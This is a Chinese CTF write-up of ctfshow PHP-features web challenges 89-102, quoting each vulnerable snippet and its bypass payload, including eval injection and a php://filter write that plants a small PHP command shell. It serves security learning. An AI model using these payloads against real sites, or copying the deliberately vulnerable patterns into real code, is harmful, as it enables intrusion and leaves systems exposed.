Ctfshow Web入門 - PHP特性(89-102)


Web89

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

num數組繞過

?num[]=0

 

 

Web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

 

base為0,在傳參時添加0x繞過

?num=0x117c

 

Web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
} 

字符 ^ 和 $ 同時使用時,表示精確匹配

/i匹配大小寫,/m匹配換行,一般不加/m是不匹配換行以后的左右兩端的內容

由於匹配是要以php開頭,我們可以在php之前加上換行繞過

?cmd=%0aphp

 

Web92-95

解法相似

1.利用90題中intval的特性使用不同進制繞過

2.多了一句判斷

if(!strpos($num, "0")){
        die("no no no!!!");
    } 

看似沒法繼續用八進制繞過,其實使用非數字符號可以繞過,讓查找返回false

<?php
$s=' saber';
if(!strpos($s, "s")){
    echo("no!");
}
else
    echo("yes!")
?>

payload舉例:

?num=%20010574

 

Web96

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    } 

沒想到啥,看payload是加./繞過的,讀取當前目錄下

 

Web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
} 

經典的md5碰撞,參考我的另一篇博客:https://www.cnblogs.com/echoDetected/p/12309225.html

 但這里沒法實現,原因不明

拿數組可以繞過a[]=1&b[]=2

 

Web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

 參考了https://www.cnblogs.com/NPFS/p/13798533.html

html的三元運算符

$_GET?$_GET=&$_POST:'flag';
表示如果GET傳參,則用POST傳參flag覆蓋

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
同理如果GET傳參是flag字符串,則用cookie傳參的flag覆蓋
以下同理
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 
如果傳參的HTTP_FLAG為flag字符串,則讀取flag文件,最后highlight顯示

就是說GET要傳參,但不能傳flag,要拿POST的HTTP_FLAG傳flag

 

Web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 

首先是定義一個數組,然后向數組里面插入隨機數,當GET傳參的內容符合數組里隨機數時,向傳參名字的文件里寫入POST的content內容

不是很懂怎么解法,看了hint

//in_array()函數有漏洞 沒有設置第三個參數 就可以形成自動轉換
//eg:n=1.php自動轉換為1

就是說in_array()的type沒有設置為true,則不存在的值會不檢測,自動轉換

 

Web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

ctfshow類開辟空間,提示我們flag在ctfshow類里面

看了代碼有迷惑我們的$v2('ctfshow')$v3,其中v2肯定是命令,v3傳分號

v0是三個值相與,v2和v3不傳數字和v1數字相與就為1

payload:

?v1=1&v2=var_dump($ctfshow)&v3=;

或者v3直接用內聯注釋注釋掉

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

到這一步看不懂編碼問題,問了出題人才知道,替換0x2d(十六進制ASCII的‘-’符號)

 

Web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
} 

過濾了很多符號,不能用var_dump輸出信息

看了hint考的是類反射

PHP Reflection API是PHP5才有的新功能,它是用來導出或提取出關於類、方法、屬性、參數等的詳細信息,包括注釋。
$class = new ReflectionClass('Person'); // 建立 Person這個類的反射類  
$instance  = $class->newInstanceArgs($args); // 相當於實例化Person 類 

構造語句導出類信息

?v1=1&v2=echo new Reflectionclass&v3=;

 

Web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

substr截取字符串

call_user_func等於調用方法或變量

hint:

GET
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-
decode/resource=2.php
POST
v1=hex2bin
#訪問2.php后查看源代碼獲得flag
file_put_contents($v3,$str);

上面語句中,v3是我們可以控制的協議流

用base64解碼寫入文件,在文件包含遇到過

參考:https://www.cnblogs.com/echoDetected/p/13976405.html

 

v2傳的值,通過解碼(4字節一組),能繞過substr的截斷

再由v1傳的hex2bin函數進行轉換,存入2.php

可見這里繞過了substr

PD89YGNhdCAqYDs

<?=`cat *`;

還有個問題是v4

測試中如果是字符串,is_numeric是不返回值或者返回false,不會返回任何數字的,所以只要v2是數字,v4與運算以后就是1


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM